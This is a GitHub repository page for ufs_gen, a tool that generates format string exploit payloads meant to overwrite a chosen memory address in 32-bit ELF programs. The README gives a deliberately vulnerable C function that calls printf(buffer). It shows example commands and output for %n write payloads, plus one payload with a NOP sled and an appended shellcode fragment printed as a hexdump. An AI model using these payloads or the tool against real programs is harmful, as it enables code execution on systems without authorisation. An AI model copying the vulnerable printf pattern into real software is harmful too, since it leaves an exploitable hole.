-
Notifications
You must be signed in to change notification settings - Fork 0
A generator of payload to exploit an UFS vulnerability.
License
ogayot/ufs_gen
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
ufs_gen ======= This software allows you to generate a payload which may override an address with the value of your choice. The syntax is quite simple: There are three parameters needed for the program to run correctly. stackidx: this parameter specifies how many dwords you need to access the beginning of your buffer (or payload). override: the address to override with: the value to inject at the address overriden This software is intended to work with an ELF32 generated by a typical code. example: int function(const char *payload) { char buffer[BUFSIZ]; strncpy(buffer, payload, sizeof(buffer)); buffer[sizeof(buffer) - 1] = '\0'; printf(buffer); return 0; } The support of ELF64 and other formats is intended but not written yet. Although the option 'addrsize' might already be used to specify if an address is not 4 bytes long, there is very few chances that it would work correctly. The support of printf(payload) directly (i.e. without a temporary buffer) is also planned. We support the option --prefix and --suffix which respectively prepend and append their argument to the payload. We also support the option --sfxnops which adds n NOP byte (0x90) between the payload and the suffix Example ======= user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4 D3"E3"F3"G3"%120x%4$n%239x%5$n%239x%6$n%239x%7$n user@localhost$ shellcode="$(perl -e 'print "\x68\x2f\x73\x68\xff\xfe\x44"')" user@localhost$ ./ufs_gen --override 0x11223344 --with 0x55667788 --stackidx 4 --suffix "$shellcode" --sfxnops 100 | hexdump -C NOP bytes are at offset 52 (0x34) suffix is at offset 152 (0x98) 00000000 44 33 22 11 45 33 22 11 46 33 22 11 47 33 22 11 |D3".E3".F3".G3".| 00000010 25 31 32 30 78 25 34 24 6e 25 32 33 39 78 25 35 |%120x%4$n%239x%5| 00000020 24 6e 25 32 33 39 78 25 36 24 6e 25 32 33 39 78 |$n%239x%6$n%239x| 00000030 25 37 24 6e 90 90 90 90 90 90 90 90 90 90 90 90 |%7$n............| 00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................| * 00000090 90 90 90 90 90 90 90 90 68 2f 73 68 ff fe 44 |........h/sh..D| 0000009f License ======= This software is free software covered by the GPL license v2. You should read the COPYING file to understand what is implied.
About
A generator of payload to exploit an UFS vulnerability.
Resources
License
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published